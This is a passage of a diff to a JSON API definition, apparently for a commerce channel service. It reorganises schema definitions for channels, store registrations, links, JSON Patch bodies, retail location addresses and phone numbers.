}, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "ONLINE": "./OnlineChannel.yaml", - "RETAIL": "./RetailChannel.yaml", - "MOBILE": "./MobileChannel.yaml", - "MARKETPLACE": "./MarketplaceChannel.yaml", - "SOCIAL": "./SocialChannel.yaml", - "DEFAULT": "./BasicChannel.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')" + "description": "Channel type should be one of ('RETAIL','ONLINE','MOBILE','MARKETPLACE','SOCIAL','DEFAULT')", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Channel", + "type": "object" + } + }, + "404": { + "description": "Channel Not Found" + } + }, + "scopes": [ + "commerce.channel:read" + ] + }, + { + "operationId": "patchChannel", + "method": "PATCH", + "path": "/channels/{channelId}", + "summary": "Update channel", + "description": "Update the channel information using the channel ID.", + "parameters": [ + { + "name": "channelId", + "in": "path", + "required": true, + "schema": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/json-patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "path": { + "description": "A JSON Pointer path.", + "type": "string" } }, - "required": [ - "type" - ] - } - }, - "404": { - "description": "Channel Not Found" + "items": { + "oneOf": [ + { + "additionalProperties": false, + "properties": { + "op": { + "description": "The operation to perform.", + "enum": [ + "add", + "replace", + "test" + ], + "type": "string" + }, + "path": { + "description": "A JSON Pointer path.", + "type": "string" + }, + "value": { + "description": "The value to add, replace or test." + } + }, + "required": [ + "value", + "op", + "path" + ] + }, + { + "additionalProperties": false, + "properties": { + "op": { + "description": "The operation to perform.", + "enum": [ + "remove" + ], + "type": "string" + }, + "path": { + "description": "A JSON Pointer path.", + "type": "string" + } + }, + "required": [ + "op", + "path" + ] + }, + { + "additionalProperties": false, + "properties": { + "from": { + "description": "A JSON Pointer path.", + "type": "string" + }, + "op": { + "description": "The operation to perform.", + "enum": [ + "move", + "copy" + ], + "type": "string" + }, + "path": { + "description": "A JSON Pointer path.", + "type": "string" + } + }, + "required": [ + "from", + "op", + "path" + ] + } + ] + }, + "title": "JsonPatch", + "type": "array" + }, + "type": "array" } }, - "scopes": [ - "commerce.channel:update" - ] - }, - { - "operationId": "getChannelById", - "method": "GET", - "path": "/channels/{channelId}", - "summary": "Get channel by ID", - "description": "Retrieve the information of a single channel using the Channel ID.", - "parameters": [ - { - "name": "channelId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "unique identifier", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - } - } - ], "responses": { + "404": { + "description": "Channel Not Found" + }, "200": { - "description": "Channel Found", + "description": "Channel updated", "schema": { "$id": "https://godaddy.com/schemas/commerce/channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "type": "object", "description": "Resource representing the Channel", + "discriminator": { + "mapping": { + "DEFAULT": "./BasicChannel.yaml", + "MARKETPLACE": "./MarketplaceChannel.yaml", + "MOBILE": "./MobileChannel.yaml", + "ONLINE": "./OnlineChannel.yaml", + "RETAIL": "./RetailChannel.yaml", + "SOCIAL": "./SocialChannel.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/retail-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Channel", - "type": "object", - "description": "Resource representing a Retail Channel", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/basic-channel.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Basic Channel", - "type": "object", "description": "Resource representing the Basic Channel", "properties": { "channelId": { - "description": "Globally unique Id of the channel that can be used to reference", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "name": { - "type": "string", - "description": "Name of the channel", - "maxLength": 128 + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" }, "channelProviderId": { - "description": "Identifier of the channel provider (defaulted based on the caller's auth credentials)", "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", + "description": "unique identifier", "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalChannelId": { - "type": "string", "description": "External identifier of the channel", - "maxLength": 64 - }, - "subType": { - "type": "string", - "description": "Additional information that represents the type of the channel", - "maxLength": 256 + "maxLength": 64, + "type": "string" }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ChannelStatus", - "type": "string", - "description": "Channel Status", - "enum": [ - "PENDING_SETUP", - "ACTIVE", - "INACTIVE", - "ERROR", - "REMOVED" - ], - "default": "ACTIVE" + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schema/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" + }, + "name": { + "description": "Name of the channel", + "maxLength": 128, + "type": "string" }, "registeredStores": { "description": "List of stores that are registered to this channel", "items": { "$id": "https://godaddy.com/schemas/commerce/registered-store.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStore", - "type": "object", "description": "Resource representing Store registration with Channel", "properties": { - "storeId": { - "description": "Id of the store that can be used to reference", - "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "type": "string", - "format": "uuid", - "example": "id", - "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}" - }, - "status": { - "description": "Status of the registration", - "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "RegisteredStoreStatus", - "type": "string", - "enum": [ - "ENABLED", - "DISABLED" - ], - "default": "ENABLED" - }, "default": { - "type": "boolean", + "default": false, "description": "If this is a default channel for the store", - "default": false + "type": "boolean" }, "links": { - "description": "Links pointing to external resource", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/link.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", + "description": "HATEOAS links", "items": { "$id": "https://godaddy.com/schema/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -7277,491 +7642,447 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } - } - }, - "required": [ - "storeId" - ] - }, - "type": "array" - }, - "links": { - "description": "Links pointing to external resource", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "status": { + "$id": "https://godaddy.com/schemas/commerce/registered-store-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "default": "ENABLED", + "description": "Registered Store Status", + "enum": [ + "ENABLED", + "DISABLED" + ], + "title": "RegisteredStoreStatus", "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "storeId": { + "$id": "https://godaddy.com/schemas/commerce/channelapi/Id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier", + "example": "id", + "format": "uuid", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "title": "Id", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ - "rel", - "href" - ] - } + "storeId" + ], + "title": "RegisteredStore", + "type": "object" + }, + "type": "array" }, - "createdAt": { - "description": "The date and time the channel was created.", - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/date-time.v1", + "status": { + "$id": "https://godaddy.com/schemas/commerce/channel-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "default": "ACTIVE", + "description": "Channel Status", + "enum": [ + "PENDING_SETUP", + "ACTIVE", + "INACTIVE", + "ERROR", + "REMOVED" + ], + "title": "ChannelStatus", + "type": "string" + }, + "subType": { + "description": "Additional information that represents the type of the channel", + "maxLength": 256, + "type": "string" }, "updatedAt": { - "description": "The date and time the channel was updated.", - "readOnly": true, "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, "required": [ "name" - ] + ], + "title": "Basic Channel", + "type": "object" } ], + "description": "Resource representing a Retail Channel", "properties": { "location": { - "description": "Location details of the retail channel", - "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Retail Location", - "type": "object", "$defs": { "RetailLocationContact": { - "type": "object", - "title": "Retail Location Contact", "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, "phone": { - "description": "Phone number details", "$id": "https://godaddy.com/schema/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schema/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" } - } + }, + "title": "Retail Location Contact", + "type": "object" } }, + "$id": "https://godaddy.com/schemas/commerce/retail-channel-location.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Retail Location", "properties": { - "alias": { - "type": "string", - "maxLength": 128, - "description": "Alias for the location" - }, "address": { - "description": "Physical address of the retail location", "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "alias": { + "description": "Alias for the location", + "maxLength": 128, + "type": "string" }, "contacts": { - "type": "array", "description": "Contact details of the location", "items": { - "type": "object", - "title": "Retail Location Contact", "properties": { - "type": { - "description": "Type of the contact phone", - "$id": "https://godaddy.com/schema/common/phone-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Phone type", - "enum": [ - "FAX", - "HOME", - "MOBILE", - "OTHER", - "WORK" - ] - }, "phone": { - "description": "Phone number details", - "$id": "https://godaddy.com/schema/common/phone.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", - "properties": { - "countryCode": { - "type": "string", - "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, - 